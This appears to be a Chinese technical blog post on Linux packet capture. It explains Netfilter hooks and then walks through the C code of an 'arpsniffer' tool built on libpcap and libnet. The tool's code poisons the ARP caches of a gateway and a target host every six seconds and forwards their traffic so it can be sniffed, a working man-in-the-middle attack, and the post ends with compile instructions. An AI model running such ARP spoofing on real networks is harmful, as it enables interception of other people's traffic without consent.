NetWork-netfilter

    技术2022-05-20  28

    在应用层抓包用raw   socket,就是fd   =   socket(PF_PACKET,   SOCK_RAW,   htons(ETH_P_ALL));   实际中常见的iptables是在ip协议栈上实现的,也就是Netfilter 还有ebtables,它的数据截获点比iptables 更“靠前”,它获得的数据更“原始”,ebtables多用于桥模式,比如控制 VLAN ID等 还有arptables,类似于iptables,iptables工作于ip层,用于对ip包进行管理,arptables工作与arp协议层,用于对arp数据帧进行管理

    Netfilter Netfilter在IP协议栈中有一些调用入口,包括,流入,流出,转发之类的地方,通过注册Netfilter模块可以将你需要的函数挂接到这些入口,就可以截取网络数据了 

              nfho.hook           =   hook_func;            nfho.hooknum     =   NF_IP_PRE_ROUTING;            nfho.pf               =   PF_INET;            nfho.priority   =   NF_IP_PRI_FIRST;  第一行就是hook函数, 第二行设定挂接位置,包括:    NF_IP_PRE_ROUTING,在报文作路由以前执行    NF_IP_FORWARD,在报文转向另一个NIC以前执行;    NF_IP_POST_ROUTING,在报文流出以前执行;    NF_IP_LOCAL_IN,在流入本地的报文作路由以后执行;    NF_IP_LOCAL_OUT,在本地报文做流出路由前执行。  然后第三行第四行就是协议类型和优先级了  然后通过nf_register_hook函数将其挂入Netfilter框架中就可以了  整个是一个linux的模块,所以需要init_module()之类的模块函数  

    arpsniffer 先要安装下面两个库,这两个库用途是 Libpcap提供了系统独立的用户级别网络数据包捕获接口;Tcpdump就是依赖这个库来实现包的抓取 Libnet提供了一个对底层网络数据包进行构造、修改和发送的高级接口,arpsniffer就是利用这个库函数自行组包

    初始化操作 pcap_lookupnet()得到要抓取的网络设备的字符串 pcap_open_live()被用来得到一个包抓取得描述符lpcap,PROMISC参数就是设置为混杂模式 libnet_init()得到一个组包的描述符lnet,LIBNET_LINK是基于link_layer的链路层数据包,还可以选择基于IP层的raw数据包

        char        dev[32]="";     libnet_t*    lnet;     pcap_t*     lpcap; ......        ret = pcap_lookupnet(dev,&netp,&maskp,err);     if(ret == -1)     {         printf("Can't initialize PCAP![%s]\n",err);         return FALSE;     }     lpcap = pcap_open_live(         dev,         MAXBUF,         PROMISC,         PCAP_TOUT,         err     );     lnet = libnet_init(         LIBNET_LINK,         dev,         err); ......

    用ipmacaddr结构来记录网关,本机及目标机的MAC和IP,并利用Libpcap库函数得到相应的值 W是网关 M是本机 S是目标

    /*  * W , S , M 's ip and mac address  */ struct ipmacaddr {     u_char ipW[4];     u_char macW[6];     u_char ipS[4];     u_char macS[6];     u_char ipM[4];     u_char macM[6]; };

    欺骗网关 有了MAC和IP后,子进程每6S,网关的IP+本机MAC发ARP到目标机,目标机IP+本机MAC发ARP到网关 父进程处理源是网关MAC和目标机MAC的,且目的MAC是本机的包 网关到本机包,修改为本机到目标机;目标机到本机包,修改为本机到网关

    正常情况下: 目标机包到网关,之后经过NAT就出去了 现在: 目标机包的目的MAC为本机MAC,代码中处理为本机MAC为发,目的MAC为网关MAC 网关包的目的MAC为本机MAC,代码中处理为本机MAC为发,目的MAC为目标机MAC 本机就相当于做了一个桥一样,目标机的包不管是收发都经过了本机,这样可以在本机上抓到目标机的所有包了

    ......     pid = fork();     if(pid==0)     {         arpspoof(lnet,&ipmac);         return FALSE;     }else     {         agentpacket(lnet,lpcap,&ipmac,port);     }

    ...... /*Send spoof arp S And W every 6 second interval*/ void arpspoof(libnet_t* lnet,struct ipmacaddr* ipmac) {     while(TRUE)     {         arpsend(lnet,ipmac->macM,ipmac->ipS,ipmac->macW,ipmac->ipW);         arpsend(lnet,ipmac->macM,ipmac->ipW,ipmac->macS,ipmac->ipS);         sleep(6);     } } ...... /*Forward packets W--->S or S--->W*/ int forwarddate(libnet_t* lnet,const u_char* packet,int len,u_char* macW,u_char* macS,u_char* macM) {     int ret=0;     const u_char* datapoint=packet;     struct ether_header* ethhdr;     struct iphead*       iph;

        ethhdr = (struct ether_header*) datapoint;

        if(ntohs(ethhdr->ether_type)!=ETHERTYPE_IP)         return TRUE;     if(!memcmp(ethhdr->ether_shost,macM,6)) /*if the Source Mac is agent(M)'s come back*/         return TRUE;     if(memcmp(ethhdr->ether_dhost,macM,6)) /*if the Source Mac Destination is't agent(M)'s come back*/         return TRUE;     if(!memcmp(ethhdr->ether_shost,macW,6)) /*if the Source Mac is W's(Workstation)*/     {         memcpy(ethhdr->ether_shost,macM,6);         memcpy(ethhdr->ether_dhost,macS,6);         ret = libnet_write_link(             lnet,             (u_char*)datapoint,             len         );     }     if(!memcmp(ethhdr->ether_shost,macS,6)) /*if the Source Mac is S S's(server)*/     {         memcpy(ethhdr->ether_shost,macM,6);         memcpy(ethhdr->ether_dhost,macW,6);         ret = libnet_write_link(             lnet,             (u_char*)datapoint,             len         );     }

        return TRUE; } ...... /*Sniffer packets*/ int agentpacket(libnet_t* lnet,pcap_t* lpcap,struct ipmacaddr* ipmac,int* port) {     const u_char* packet;     struct pcap_pkthdr hdr;     while(1)     {         packet=pcap_next(lpcap,&hdr);         if(packet==NULL || hdr.len==0)             continue;         parsedate(packet,hdr.len,ipmac->macW,ipmac->macS,ipmac->macM,ipmac->ipW,ipmac->ipS,port);         forwarddate(lnet,packet,hdr.len,ipmac->macW,ipmac->macS,ipmac->macM);     }

        return TRUE; } ......

     

    小结 gcc -o arpsniffer arpsniffer.c -I/usr/local/include -L/usr/local/lib -lpcap -lnet libnet函数调用需要在root下运行

     

     


    最新回复(0)